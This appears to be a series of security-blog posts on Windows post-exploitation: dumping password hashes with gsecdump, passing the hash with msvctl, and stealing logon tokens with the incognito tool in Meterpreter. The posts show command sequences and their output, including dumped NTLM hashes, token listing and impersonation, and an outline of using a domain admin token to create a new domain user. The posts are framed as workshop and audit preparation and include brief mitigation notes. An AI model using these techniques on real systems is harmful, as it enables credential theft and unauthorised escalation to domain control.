passing the hash with gsecdump and msvctl (yes more)

So just a follow up post on gsecdump and msvctl after doing prep for post exploitation topics for the toorcon workshop.

For some reason I thought that gsecdump would not require admin privileges, this is incorrect it will require admin or system on the box. What it doesn't require is injecting into lsass to get the hashes (at least according to here).

"Most notable features are extracting password hashes for active logon sessions, LSA secrets without injecting into lsass.exe making it safe to run on any system and pwdump functionality without DLL injection (and a lot more stable). Gsecdump has no DLL dependency making it very easy to use on remote systems with psexec. If it for some reason can't do what it is supposed to, try running it as SYSTEM and you should get your info."

OK, so you still need admin or higher but the cool thing (and I have already covered this) is that it dumps the hashes for active logon sessions. Now, the key to to that is active logon sessions. So if you are userland and admin or higher then you might be stuck with that user's hash because once the log out the active logon session hash seems to disappear (sometimes ??) but if you get a system shell you might get some of the old logged in users.

example:
#popped a system shell and got a command shell with meterpreter

C:\Documents and Settings\nobody\Desktop>gsecdump -u
gsecdump -u
MSHOME\XPSP1VM$::aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

#logged into the box as nobody

C:\Documents and Settings\nobody\Desktop>gsecdump -u
gsecdump -u
XPSP1VM\nobody::e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
MSHOME\XPSP1VM$::aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Logged out as nobody
C:\Documents and Settings\nobody\Desktop>gsecdump -u
gsecdump -u
MSHOME\XPSP1VM$::aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Once nobody logs out, things were back to where they were. This is an important distinction between gsecdump/msvctl and token stealing. But, once you have a hash, any user can use that hash where you have to be admin/system to pass tokens.

Let's see the same scenario with incognito

meterpreter > list_tokens -u

Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

#login as nobody
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
XPSP1VM\nobody

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

#log out as nobody
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
XPSP1VM\nobody

meterpreter > impersonate_token XPSP1VM\\nobody
[-] No delegation token available
[+] Successfully impersonated user XPSP1VM\nobody
meterpreter > getuid
Server username: XPSP1VM\nobody
meterpreter > rev2self
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Lastly, like I already mentioned in the other msvctl post, you have to actually be sitting on the box to get your new shell with the user's creds you passed because it pops up a whole new command shell. Which is kind of a bummer, with a remote shell. You'll have to use the pass the hash toolkit instead.

Some other reading on gsecdump and msvctl
http://blogs.pointbridge.com/Blogs/seaman_derek/Pages/Post.aspx?_ID=20
http://ciac.llnl.gov/ciac/techbull/CIACTech08-002.shtml

http://truesecurity.se/blogs/murray/archive/2007/06/08/my-sec-310-sesson-on-teched-us-2007-is-now-available-as-a-webcast.aspx

Also I was doing some googling on pass the hash and came across this post in reference to the pass the hash problem, best part in bold.

http://www.eggheadcafe.com/software/aspnet/30890366/hash-injection-mitigation.aspx
best quote:

"Hash injection mitigation? - Steve Riley [MSFT] <06-oct-07 style="font-weight: bold;">In either case, you need to become admin of the computer before you can force the compromised machine to release its hashes from memory, which lessens the likelihood of success. And if you did manage to become admin, there are fare more interesting attacks that you'd want to attempt. By the way, sniffing a network connection won't reveal hashes. In other words, there's nothing new here, and very little that you need to worry about."

I don't know, going from a local admin on a box to domain admin is pretty interesting to me...

Token Passing with Incognito Part 3

Sorry no screen shots, i didnt think anyone would care that much but I have been able to confirm in my testing (dameware 6) that if you are using dameware in your enterprise for remote management/admin you are leaving tokens laying around on the remote boxes.

Because dameware just gives you a screen on the remote host and you still have to log in, the token lingers until you reboot.

Good to know if you are auditing an organization that uses dameware. Like most things, the real protection is to ensure the auditor/attacker cant get on the box in the first place and for client side attacks that the privilege to leverage the token passing tool is not allowed on user accounts (even admin accounts unless its needed). This is configurable in group policy.

still to-do, Terminal Services and RDP

Token Passing with Incognito Part 2

Alright, i love this tool and its been officially merged into the msf trunk which is just super.

After talking to the guys at work and doing some thinking on it, the most useful aspect of incognito is being able to become a domain user (if they have logged into the compromised box since the last reboot). Why would i want to be a user instead of the all powerful SYSTEM? well, for one thing, users have access to "net" commands and can enumerate domain information and can view and map shares and what not, generally system while megabadass on the box you are on cant do jack on the domain. SOOOO unless you popped a shell on the DC we need to try to become a user.

so on to the screenshots...

So normal scenario we pop a shell with metasploit, with the NEW "old reliable" msdns_zonename exploit and use the meterpreter payload. Once we are in our meterpreter shell do a "use incognito" to load the library.


we list the available tokens by user using "list_tokens -u". Once we see someone we want to try to impersonate we run the "impersonate_token "domain\\user" command. We can verify it worked using a getuid in meterpreter.

At this point we have two options. We can run commands as our new user and create our own user and add them to whatever groups we want to add them to. Keep in mind that "most" of this works because the person we are impersonating had admin priviliges on the domain (as far as adding users to the domain). If we just wanted to become a user to do domain enumeration we can still do that.

so lets see getting a command shell with our impersonated token.



you have to make sure you pass it the "-t" option to use your token.

2nd option is to just add a user and add them to the appropriate group(s). Just follow along, its not too hard.













now you can just log in normally to the domain, or do whatever it is you need to do to get your paycheck.

I did some playing with the dameware and this tool. i'll save comments for a future post and I need to do some more playing but it appears to be leaving a token in memory as well.

Token Passing with Incognito

I've seen a few people post a link to this paper and tool but no one actually showing it in use yet, so here is the first of some notes on it.

From the whitepaper:
"Domain Privilege Escalation refers to the ability to use a Delegate token to access other systems, which may otherwise be secure from direct attack. This is possible because Delegate tokens contain authentication credentials and so can be used to access external systems for which those credentials are valid.

In order to perform this type of attack, it is usually necessary to have administrative privileges on the compromised system. This is because impersonating a token requires the “SeImpersonate” privilege, as of Windows XP SP2, Windows 2003 and Windows 2000 SP4; additionally, Delegate tokens are normally the result of interactive logins and so administrative access is required in order to access the tokens present in all user processes on the system. Other privileges may also be required (such as “SeAssignPrimaryTokenPrivilege” and “SeCreateTokenPrivilege”) depending on the specific post-exploitation task performed.

There are, however, some exceptions to this. For example, if an attacker were to compromise a service account that was trusted for delegation then they may be able to perform this attack, since services are normally given the “SeImpersonate” privilege. Additionally, on systems before “SeImpersonate” was introduced it may be possible to perform this attack from a low privileged user account under certain circumstances.

A good example of a use case for this type of attack would be as part of compromising a critical database server. If an attacker were unable to compromise the database server directly then they could turn their attention to the DBA’s workstation, since their user account will often have legitimate access to the database servers themselves. If they successfully compromised the workstation then they could use the tokens present to access the database server."

If you actually read the whitepaper there are several scenarios. I am going to cover having a user account with administrative privileges, dumping available tokens, and becoming another user.

Let's get started. First we want to see who we are. Let's run the "set" command to see.


Let's also see what groups brian is in:



Then we run find_token (which any user can actually run) and then we use incognito to list tokens that are available to delegate and impersonate
Next we connect to the remote box, and use the impersonate token for HOUSEOFMUNCH\root and become that user.

To-Do:

pop a system shell and become a user

user the meterpreter incognito module

verify the terminal services stuff in the paper

see how dameware with windows authentication handles tokens

whitepaper: http://www.mwrinfosecurity.com/publications/mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf
project website: http://sourceforge.net/projects/incognito
DEFCON 15 Presentation (pdf): http://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-jennings.pdf
DEFCON 15 Presentation (video): Broke...WTF

Related:
Token Kidnapping by Cesar http://www.argeniss.com/research/TokenKidnapping.pdf